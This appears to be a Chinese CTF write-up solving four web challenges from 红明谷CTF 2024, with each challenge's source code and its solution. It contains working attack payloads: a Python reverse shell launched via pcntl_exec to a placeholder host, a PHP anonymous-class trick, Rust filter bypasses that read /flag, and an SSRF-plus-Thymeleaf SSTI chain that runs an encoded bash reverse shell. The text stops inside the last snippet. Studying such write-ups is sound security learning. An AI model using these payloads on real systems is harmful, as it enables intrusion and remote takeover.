红明谷CTF

2024

Posted by lyk on April 3, 2024

0x01 ezphp

PHP Filter链——基于oracle的文件读取攻击 - 先知社区 (aliyun.com),匿名类

<?php  
highlight_file(__FILE__);  
// flag.php  
if (isset($_POST['f'])) {  
    echo hash_file('md5', $_POST['f']);  
}  
?>

synacktiv/php_filter_chains_oracle_exploit: A CLI to exploit parameters vulnerable to PHP filter chain error based oracle. (github.com)直接用工具跑出flag.php

<?php
if (isset($_GET['ezphpPhp8'])) {
    highlight_file(__FILE__);
} else {
    die("No");
}
$a = new class {
    function __construct()
    {
    }

    function getflag()
    {
        system('cat /flag');
    }
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

想方法调用匿名类

?ezphpPhp8=anonymous

?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

还可以用var_dump get_declared_classes

image-20240408110130934

0x02 unauth

disabled_function绕过

www.zip泄露源码

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="Restricted Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo '小明是运维工程师,最近网站老是出现bug。';
    exit;
} else {
    $validUser = 'admin';
    $validPass = '2e525e29e465f45d8d7c56319fe73036';

    if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
        header('WWW-Authenticate: Basic realm="Restricted Area"');
        header('HTTP/1.0 401 Unauthorized');
        echo 'Invalid credentials';
        exit;
    }
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>

可以执行命令但大部分被ban了

用pcntl_exec

pcntl_exec("/usr/bin/python",array(%27-c%27,%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("vps",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);%27));

接下来就是想办法提权

发现个config.inc

image-20240408113513530

直接su到admin

0x03 playground

rust

#[macro_use] extern crate rocket;

use std::fs;
use std::fs::File;
use std::io::Write;
use std::process::Command;
use rand::Rng;

#[get("/")]
fn index() -> String {
    fs::read_to_string("main.rs").unwrap_or(String::default())
}

#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
    if code.contains("std") {
        return "Error: std is not allowed".to_string();
    }
    //generate a random 5 length file name
    let file_name = rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(5)
        .map(char::from)
        .collect::<String>();
    if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
        file.write_all(code.as_bytes());
    }
    if let Ok(build_output) = Command::new("rustc")
        .arg(format!("playground/{}.rs",&file_name))
        .arg("-C")
        .arg("debuginfo=0")
        .arg("-C")
        .arg("opt-level=3")
        .arg("-o")
        .arg(format!("playground/{}",&file_name))
        .output() {
        if !build_output.status.success(){
            fs::remove_file(format!("playground/{}.rs",&file_name));
            return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
        }
    }
    fs::remove_file(format!("playground/{}.rs",&file_name));
    if let Ok(output) = Command::new(format!("playground/{}",&file_name))
        .output() {
        if !output.status.success(){
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
        } else{
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
        }
    }
    return String::default();

}

#[launch]
fn rocket() -> _ {
    let figment = rocket::Config::figment()
        .merge(("address", "0.0.0.0"));
    rocket::custom(figment).mount("/", routes![index,run_rust_code])
}

过滤了std

直接include

fn main() {
    include!("/flag");
}

还可以内联写C绕过

//声明外部函数 C语言库函数
extern "C" {
    fn system(cmd: *const u8) -> i32;
}

fn main() {
    // Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作
    unsafe {
        system("cat /flag".as_ptr());
    }
}

0x04 Simp1escape

302跳转绕过,thymeleaf的SSTI

CurlController.class:

package com.example.controller;

import com.example.utils.Utils;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.concurrent.TimeUnit;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class CurlController {
    private static final String RESOURCES_DIRECTORY = "resources";
    private static final String SAVE_DIRECTORY = "sites";

    public CurlController() {
    }

    @RequestMapping({"/curl"})
    public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception {
        if (!url.startsWith("http:") && !url.startsWith("https:")) {
            System.out.println(url.startsWith("http"));
            return "No protocol: " + url;
        } else {
            URL urlObject = new URL(url);
            String result = "";
            String hostname = urlObject.getHost();
            if (hostname.indexOf("../") != -1) {
                return "Illegal hostname";
            } else {
                InetAddress inetAddress = InetAddress.getByName(hostname);
                if (Utils.isPrivateIp(inetAddress)) {
                    return "Illegal ip address";
                } else {
                    try {
                        String savePath = System.getProperty("user.dir") + File.separator + "resources" + File.separator + "sites";
                        File saveDir = new File(savePath);
                        if (!saveDir.exists()) {
                            saveDir.mkdirs();
                        }

                        TimeUnit.SECONDS.sleep(4L);
                        HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection();
                        if (connection instanceof HttpURLConnection) {
                            connection.connect();
                            int statusCode = connection.getResponseCode();
                            if (statusCode == 200) {
                                BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));

                                BufferedWriter writer;
                                String line;
                                for(writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html")); (line = reader.readLine()) != null; result = result + line + "\n") {
                                }

                                writer.write(result);
                                reader.close();
                                writer.close();
                            }
                        }

                        return result;
                    } catch (Exception var15) {
                        return var15.toString();
                    }
                }
            }
        }
    }
}

AdminController.class:

package com.example.controller;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.thymeleaf.TemplateEngine;
import org.thymeleaf.context.Context;
import org.thymeleaf.spring5.SpringTemplateEngine;

@Controller
public class AdminController {
    public AdminController() {
    }

    @GetMapping({"/getsites"})
    public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception {
        String ipAddress = request.getRemoteAddr();
        if (!ipAddress.equals("127.0.0.1")) {
            response.setStatus(HttpStatus.FORBIDDEN.value());
            return "forbidden";
        } else {
            Context context = new Context();
            TemplateEngine engine = new SpringTemplateEngine();
            String dispaly = engine.process(hostname, context);
            return dispaly;
        }
    }
}

漏洞点肯定是AdminController这里,但是限制了本地访问,但可以用 302 跳转绕过。

thymeleaf的SSTI可以参考上次rwctf的原题

https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/#chatterbox%EF%BC%88solved%EF%BC%89

/curl?url=http://vps:port/exploit.php
<?php  
header("Location:http://127.0.0.1:8080/getsites?hostname=[[${T(org.thymeleaf.util.ClassLoaderUtils).loadClass('org.apa'+'che.logging.log4j.util.LoaderUtil').newInstanceOf('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser').parseExpression('T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLjAuMC4wLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}")').getValue()}]]